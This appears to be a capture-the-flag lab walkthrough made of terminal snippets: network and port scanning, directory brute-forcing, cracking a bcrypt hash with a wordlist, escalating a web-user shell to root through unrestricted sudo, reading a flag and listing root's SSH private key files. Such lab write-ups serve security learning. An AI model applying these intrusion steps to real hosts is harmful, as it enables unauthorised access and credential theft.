a ctfer on the load

1
┌──(kali㉿kali)-[~]
2
└─$ sudo arp-scan -l
3
Interface: eth0, type: EN10MB, MAC: 12:37:b3:be:69:38, IPv4: 192.168.31.183
4
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
5
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
6
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
7
192.168.31.1    58:ea:1f:38:ff:17       (Unknown)
8
192.168.31.149  d2:6d:24:38:04:12       (Unknown: locally administered)
9
192.168.31.156  08:00:27:97:c1:97       (Unknown)
10
192.168.31.186  42:60:96:7b:26:bd       (Unknown: locally administered)
11
192.168.31.210  f4:6d:3f:27:e6:fb       (Unknown)
12

13
8 packets received by filter, 0 packets dropped by kernel
14
Ending arp-scan 1.10.0: 256 hosts scanned in 1.853 seconds (138.15 hosts/sec). 5 responded
15

16
┌──(kali㉿kali)-[~]
17
└─$ nmap 192.168.31.156
18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-22 10:35 HKT
19
Nmap scan report for 192.168.31.156
20
Host is up (0.0031s latency).
21
Not shown: 998 closed tcp ports (reset)
22
PORT   STATE    SERVICE
23
22/tcp filtered ssh
24
80/tcp open     http
25
MAC Address: 08:00:27:97:C1:97 (Oracle VirtualBox virtual NIC)
26

27
Nmap done: 1 IP address (1 host up) scanned in 1.41 seconds

1
┌──(kali㉿kali)-[~]
2
└─$ dirb http://192.168.31.156
3

4
-----------------
5
DIRB v2.22
6
By The Dark Raver
7
-----------------
8

9
START_TIME: Sat Feb 22 10:47:17 2025
10
URL_BASE: http://192.168.31.156/
11
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
12

13
-----------------
14

15
GENERATED WORDS: 4612
16

17
---- Scanning URL: http://192.168.31.156/ ----
18
+ http://192.168.31.156/cronjobs (CODE:200|SIZE:410)
19
==> DIRECTORY: http://192.168.31.156/db/
20
==> DIRECTORY: http://192.168.31.156/images/
21
==> DIRECTORY: http://192.168.31.156/includes/
22
+ http://192.168.31.156/index.php (CODE:302|SIZE:0)
23
==> DIRECTORY: http://192.168.31.156/libs/
24
==> DIRECTORY: http://192.168.31.156/screenshots/
25
==> DIRECTORY: http://192.168.31.156/scripts/
26
+ http://192.168.31.156/server-status (CODE:403|SIZE:279)
27
==> DIRECTORY: http://192.168.31.156/styles/

1
┌──(kali㉿kali)-[~/Desktop]
2
└─$ john hash -w=/usr/share/wordlists/rockyou.txt
3
Using default input encoding: UTF-8
4
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
5
Cost 1 (iteration count) is 1024 for all loaded hashes
6
Will run 4 OpenMP threads
7
Press 'q' or Ctrl-C to abort, almost any other key for status
8
0g 0:00:01:11 0.05% (ETA: 2025-02-24 00:13) 0g/s 129.7p/s 129.7c/s 129.7C/s rubberducky..gunit1
9
admin            (?)
10
1g 0:00:02:33 DONE (2025-02-22 11:06) 0.006518g/s 129.2p/s 129.2c/s 129.2C/s bernadeth..LOVE1
11
Use the "--show" option to display all of the cracked passwords reliably
12
Session completed.

1
www-data@ubuntu:/var/www/html/images/uploads/logos$ sudo -l
2
sudo -l
3
Matching Defaults entries for www-data on ubuntu:
4
    env_reset, mail_badpass,
5
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
6
    use_pty
7

8
User www-data may run the following commands on ubuntu:
9
    (ALL) NOPASSWD: ALL
10
www-data@ubuntu:/var/www/html/images/uploads/logos$ su
11
su
12
Password:
13

14
su: Authentication failure
15
www-data@ubuntu:/var/www/html/images/uploads/logos$
16
www-data@ubuntu:/var/www/html/images/uploads/logos$ sudo su root
17
sudo su root
18
id
19
uid=0(root) gid=0(root) groups=0(root)
20

21
cd /root
22
ls
23
user.txt
24
cat user.txt
25
4408f370877687429c6ab332e6f560d0

1
ip a
2
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
3
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
4
    inet 127.0.0.1/8 scope host lo
5
       valid_lft forever preferred_lft forever
6
    inet6 ::1/128 scope host
7
       valid_lft forever preferred_lft forever
8
2: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
9
    link/ether dc:a1:f7:82:76:13 brd ff:ff:ff:ff:ff:ff link-netnsid 0
10
    inet 10.0.3.241/24 brd 10.0.3.255 scope global eth0
11
       valid_lft forever preferred_lft forever
12
    inet6 fe80::dea1:f7ff:fe82:7613/64 scope link
13
       valid_lft forever preferred_lft forever
14
3: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000
15
    link/ether 02:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
16
6: ap0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
17
    link/ether 42:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff

1
cd /root
2
ls -a
3
.
4
..
5
.bash_history
6
.bashrc
7
.lesshst
8
.local
9
.profile
10
.selected_editor
11
.sqlite_history
12
.ssh
13
user.txt
14
.wpa_cli_history
15
cd .ssh
16
ls -a
17
.
18
..
19
id_rsa
20
id_rsa.pub
21
known_hosts
22
known_hosts.old